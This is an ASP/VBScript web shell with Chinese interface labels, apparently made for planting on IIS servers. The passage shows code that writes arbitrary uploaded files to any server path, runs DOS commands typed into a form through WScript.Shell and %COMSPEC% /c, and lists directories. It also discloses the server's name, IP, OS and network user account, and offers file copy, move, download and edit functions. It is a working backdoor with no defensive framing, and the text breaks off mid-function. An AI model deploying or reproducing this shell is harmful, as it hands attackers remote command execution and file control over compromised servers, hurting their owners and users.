buyuser02j.asp

网上流行的MOVE站点

<%@ LANGUAGE = VBScript codepage=936%><style>body{font-size:9pt;color:blue}table{font-family:宋体;font-size:9pt}a{font-family:宋体;font-size:9pt;color:blue;text-decoration:none}a:hover{font-family:宋体;color:red;text-decoration:none}input{BORDER-RIGHT:blue 1px solid;BORDER-TOP:blue 1px solid;BACKGROUND:white;BORDER-LEFT:blue 1px solid;BORDER-BOTTOM:blue 1px solid;FONT-FAMILY:Verdana,Arial font-color:white;FONT-SIZE:9pt;}</style><%Response.Expires=0
Co=Request.ServerVariables("URL")
zc="<b>ASP&copy2003"
if session("lZ")="lk"then
Session.TimeOut=50
Session(Co)=0
if request("up")=1 then
Server.ScriptTimeOut=3000%><SCRIPT RUNAT=SERVER LANGUAGE=VBScript>dim zh
CLASS zha
dim isForm,isFile
Public function Form(strForm)
Form=isForm(lcase(strForm))
if not isForm.exists(strForm)then Form=""
end function
Public function File(strFile)
File=isFile(lcase(strFile))
if not isFile.exists(strFile)then File=new FileInfo
end function
Private Sub CLASS_Initialize
dim Rq,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tZ,iStart,theFile,iFileSize,sFilePath,sFileType,sFormValue,sFileName,iFindStart,iFindEnd,iFormStart,iFormEnd,sFormName
set isForm=CreateObject("Scripting.Dictionary")
set isFile=CreateObject("Scripting.Dictionary")
set tZ=CreateObject("adodb.stream")
set zh=CreateObject("adodb.stream")
zh.Type=1
zh.Mode=3
zh.Open
zh.Write Request.BinaryRead(Request.TotalBytes)
zh.Position=0
Rq=zh.Read
iFormStart=1
iFormEnd=LenB(Rq)
vbCrlf=chrB(13)&chrB(10)
sStart=MidB(Rq,1,InStrB(iFormStart,Rq,vbCrlf)-1)
iStart=LenB(sStart)
iFormStart=iFormStart+iStart+1
while (iFormStart+10)<iFormEnd
iInfoEnd=InStrB(iFormStart,Rq,vbCrlf&vbCrlf)+3
tZ.Type=1
tZ.Mode=3
tZ.Open
zh.Position=iFormStart
zh.CopyTo tZ,iInfoEnd-iFormStart
tZ.Position=0
tZ.Type=2
tZ.Charset="gb2312"
sInfo=tZ.ReadText
tZ.Close
iFormStart=InStrB(iInfoEnd,Rq,sStart)
iFindStart=InStr(22,sInfo,"name=""",1)+6
iFindEnd=InStr(iFindStart,sInfo,"""",1)
sFormName=lcase(Mid(sinfo,iFindStart,iFindEnd-iFindStart))
if InStr(45,sInfo,"filename=""",1)>0 then
set theFile=new FileInfo
iFindStart=InStr(iFindEnd,sInfo,"filename=""",1)+10
iFindEnd=InStr(iFindStart,sInfo,"""",1)
sFileName=Mid(sinfo,iFindStart,iFindEnd-iFindStart)
theFile.FileName=getFileName(sFileName)
theFile.filePath=getFilePath(sFileName)
iFindStart=InStr(iFindEnd,sInfo,"Content-Type:",1)+14
iFindEnd=InStr(iFindStart,sInfo,vbCr)
theFile.FileType=Mid(sinfo,iFindStart,iFindEnd-iFindStart)
theFile.FileStart=iInfoEnd
theFile.FileSize=iFormStart-iInfoEnd-3
theFile.FormName=sFormName
if not isFile.Exists(sFormName)then
isFile.add sFormName,theFile
end if
else
tZ.Type=1
tZ.Mode=3
tZ.Open
zh.Position=iInfoEnd
zh.CopyTo tZ,iFormStart-iInfoEnd-3
tZ.Position=0
tZ.Type=2
tZ.Charset="gb2312"
sFormValue=tZ.ReadText
tZ.Close
if isForm.Exists(sFormName)then
isForm(sFormName)=isForm(sFormName)&","&sFormValue
else
isForm.Add sFormName,sFormValue
end if end if
iFormStart=iFormStart+iStart+1
wend
Rq=""
set tZ=nothing
End Sub
Private function GetFilePath(FullPath)
If FullPath<>""Then
GetFilePath=left(FullPath,InStrRev(FullPath,"\"))
Else
GetFilePath=""
End If
End function
Private function GetFileName(FullPath)
If FullPath<>""Then
GetFileName=mid(FullPath,InStrRev(FullPath,"\")+1)
Else
GetFileName=""
End If
End function
End CLASS
CLASS FileInfo
dim FileStart,FileSize,fileName,filePath,FileType,formName,dr
Public function SAs(FullPath)
set dr=CreateObject("Adodb.Stream")
dr.Mode=3
dr.Type=1
dr.Open
zh.position=FileStart
zh.copyto dr,FileSize
dr.SaveToFile FullPath,2
dr.Close
set dr=nothing
end function
End CLASS</SCRIPT><%dim upload,file,formPath
set upload=new zha
formPath=upload.isform("filepath")
if right(formPath,1)<>"\"then formPath=formPath&"\"
for each formName in upload.isFile
set file=upload.isFile(formName)
if file.fileName=""or file.filesize<0 then
Response.Write"<a href=# onclick=history.go(-1)>文件?</a>"
response.end
end if
file.SAs formPath&file.FileName
Response.write"上传了 "&formPath&file.FileName&"</br>"
set file=nothing
next
set upload=nothing
response.write"<a href=# onclick=history.go(-1)>[返回]</a>"
response.end
else
on error resume next
set fB=Server.CreateObject("Scripting.FileSystemObject")
Set tN=Server.CreateObject("WSCRIPT.NETWORK")
dN="\\"&tN.ComputerName&"\"&tN.UserName
If -2147221005=Err then
call MN()
else
select case request("id")
case"edit"call edit()
case"dir"call dir()
case"down"call dlf(request("path"))
case"pan"call pan()
case"FS"call MN()
case"out"call out()
case else
call mz()
end select
end if
sub MN()
set sa=server.createobject("shell.application")%><p align=center><table border=1 width=600 cellspacing=0 cellpadding=0 bgcolor=#dddddd><tr><td>服务器名</td><td width=360><a href="http://<%=Request.ServerVariables("SERVER_NAME")%>"target=_blank><%=Request.ServerVariables("SERVER_NAME")%></a></td></tr><tr><td>IP:端口  时间</td><td><%=Request.ServerVariables("LOCAL_ADDR")%>:<%=Request.ServerVariables("SERVER_PORT")%>　<%=now%></td></tr><tr><td>CPU数量 OS</td><td><%=Request.ServerVariables("NUMBER_OF_PROCESSORS")%> 个 {<%=Request.ServerVariables("OS")%>}</td></tr><tr><td>局域网址:</td><td><%=dN%></td></tr><tr><%dim t1,t2,ys,T3
t1=timer
for i=1 to 500000
ys=1+1
next
t2=timer
T3=cstr(int(((t2-t1)*10000)+0.5)/10)%><td>运算速度</td><td><%=T3%> 毫秒(256M 2.4G为156.3毫秒)</td></tr><tr bgcolor=white><td><font color=red>客户端IP→端口 [无代理]</td><td><font color=red><%=Request.ServerVariables("REMOTE_ADDR")%>→<%=Request.ServerVariables("REMOTE_PORT")%>
[<%=Request.ServerVariables("HTTP_X_FORWARDED_FOR")%>]</td></tr><tr><td>本文件</td><td><%=server.mappath(Co)%></td></tr><TR><TD colspan=2><form name=form1 method=post action="<%=Co%>?up=1" enctype="multipart/form-data"> 绝对路径:<input type=text name=filepath value="<%=Server.MapPath(".")%>"size=87><BR></TD></tr><tr><td id=upid width=240>文件1<input type=file name=file></td><td valign=top><SCRIPT language=javascript>function sm(){str='';if(!window.form1.upcount.value)window.form1.upcount.value=1;for(i=1;i<=window.form1.upcount.value;i++)str+='文件'+i+'<input type=file name=file'+i+'><br>';window.upid.innerHTML=str+'';}</SCRIPT><INPUT type=button onclick=sm() value=设定 name=Button> 上传 <INPUT value=1 name=upcount size=2 maxlength=2> 文件 <input type=submit value=上传> <INPUT type=reset value=重置></td></TR></form></table><form method=POST><input type=submit name=sb value=执行> <input type=submit name=Subm value=服务器变量> <input type=submit name=tui value=退出> <INPUT type=reset value=重置> <%=timer%>
<a href=<%=Co%>><%=zc%></a><BR>复制:<input type=text name=text1> 目的路径:<input type=text name=text2><br>移动:<input type=text name=text3> 目的路径:<input type=text name=text4><br>程序:<input type=text name=text5> 别加参数:<input type=text name=text6><br>浏览:<input type=text name=text> DOS 命令:<input type=text name=ok value="%COMSPEC% /c "></form><hr><%if Request.Form("tui")<>""then call out()
if Request.Form("Subm")<>""then
response.write"服务器所有变量</p>"
for each Y in request.servervariables
response.write""&Y&"<br>"&request.servervariables(Y)&"<HR>"
next
end if
hz=Request.Form("ok")
if hz<>""and hz<>"%COMSPEC% /c "then
server.CreateObject("WScript.Shell").run ""&hz&"",1,True
response.write"执行了"&hz&""
end if
sz=Request.Form("text")
if sz<>""then
if right(sz,1)<>"\"then sz=sz&"\"
for each Z in sa.namespace(sz).items
response.write""&Z.path&"  --"&Z.size&"<br>"
next
end if
z1=Request.Form("text1")
z2=Request.Form("text2")
if z1<>""and z2<>""then
for i=len(z1) to 1 step -1
if mid(z1,i,1)="\"then